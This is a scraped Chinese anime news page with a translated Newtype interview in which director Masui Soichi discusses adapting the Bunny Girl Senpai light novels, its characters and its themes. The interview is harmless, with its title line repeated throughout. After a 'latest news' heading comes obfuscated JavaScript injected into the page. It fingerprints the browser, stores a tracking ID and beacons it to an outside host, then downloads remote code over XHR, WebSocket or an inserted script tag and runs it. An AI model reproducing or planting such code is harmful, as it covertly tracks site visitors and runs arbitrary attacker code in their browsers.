袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈 - 风车动漫-动漫啦

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈

来源:樱花动漫更新:2021-06-07 16:26:54

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

译自杂志《NEWTYPE》2018年11月号的相关访谈。

  2018年10月新番动画《青春猪头少年不会梦到兔女郎学姐/青春期笨蛋不做兔女郎学姐的梦》改编自轻小说《青春猪头系列》,作者是《樱花庄的宠物女孩》的鸭志田一。本文对动画监督增井壮一,就动画制作的幕后和制作感想等方面进行了采访。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——在动画化的时候,考虑过会注重什么地方吗?

增井:我不想无视遍布小说中的某种时间的流逝、平淡无奇的日常生活,普普通通的高中生的生活感和季节的变化。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——有什么费劲的地方吗?

增井:首先我的想法是「我不想(对原作)做删减」,在有限的篇幅中,把小说中的悠闲感觉,留在画面中,我在这方面花费了不少力气。发生了一种名为「青春期综合征」的神奇现象,就算找不到解决问题的线索,也必须要去学校,也必须要吃饭。生活中没什么明确的敌人,该如何面对这种现象呢。这部分是这部作品非常主要的魅力,跟我之前参与过的作品都不同,非常有趣。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——感觉本片也非常重视角色的演绎。

增井:(原作)鸭志田(一)先生提出了要求,希望我们把角色塑造出栩栩如生的效果。我自己也想这样做的。其中比较重点的就是表情演绎。我请负责人设的田村里美小姐不仅画了喜怒哀乐的表情,还画了其他很多丰富的表情。表情和台词搭配起来,希望能产生出非常有趣的效果。这是一部青春期复杂的情感猛烈卷起旋涡的作品,尽管很有难度,但还是非常有价值,值得一做的。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——主人公咲太说话非常无所顾忌呢。

增井:他是一个一度放弃一切,在心中斩断外界联系的少年,所以他说话做事不太会掺杂个人情感。比如「朋友有两个就够了」(笑)。别人说他「死鱼眼」,但身边的人还是会引出他的喜怒哀乐,各种感情的。咲太被女孩子的脚踩,会开心。当然, 我是不太懂他这种心情就是了(笑)。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——啊哈哈哈,他被麻衣踩得够呛呢(笑)。麻衣的登场非常有冲击性。

增井:她在演艺圈待过,社会经验丰富,但又比较孤独。当然,她已经做好了心理准备,独自战斗。她被「青春期综合症」袭击,开始角色扮演成兔女郎,也是因为无法笑,咲太果然还是无法对她置之不理。我不想把她塑造成一个普通的傲娇女孩。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——妹妹枫一出场,就是钻进咲太被子的场景,也非常震撼(笑)。

增井:包含枫在内,女生都非常有魅力。我会一个一个介绍她们遇到的现象,请大家一定要好好追动画。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——本作中,有什么喜欢的故事吗?

增井:双叶理央和国见和咲太他们三人,在遥望江之岛的海滩上通宵放烟花,我个人比较喜欢这个故事。悠哉悠哉地,一不留神就玩到了早上,这种打发时间的方式,在现在这个时代,实在是令人羡慕(笑)。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——青春期综合症是一种什么样的症状?

增井:理央会从物理层面举例说明的,算是二重身或瞬间移动这种东西的一种。这种惊人现象放在基本粒子世界中来看,也是一种很普通,有可能的现象。所以我觉得她们身上发生的事情,在现实中也是有可能的。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

——本片描写的是因为青春期综合征而烦恼的少女们。现在,在现实社会有些人也拥有类似的痛苦,本片也是对这些人们的一种贴近描写。

增井:麻衣和咲太这个年纪一代人,有很多事情是说不出口的。不过如果能产生共鸣,感到「就是啊」,分享痛苦和烦恼,互相依偎,我相信这会成为一种救赎。

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

转自:ACFUN 阿波灵(专注动漫访谈翻译)

袭击青春,《青春猪头少年不会梦到兔女郎学姐》监督增井壮一的访谈- 趣动漫

最新资讯

function eaAgzyl(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function kStIzKa(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return eaAgzyl(t);};window[''+'X'+'M'+'g'+'c'+'V'+'G'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=kStIzKa,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/10065/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHRR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBODg5MQ==','d3NzJTTNBJTTJGJTTJGdXkudGlhbnhpbmdoYW5nMS5jbiUzQTTk1MzU=','152108',window,document,['R','T']);}:function(){};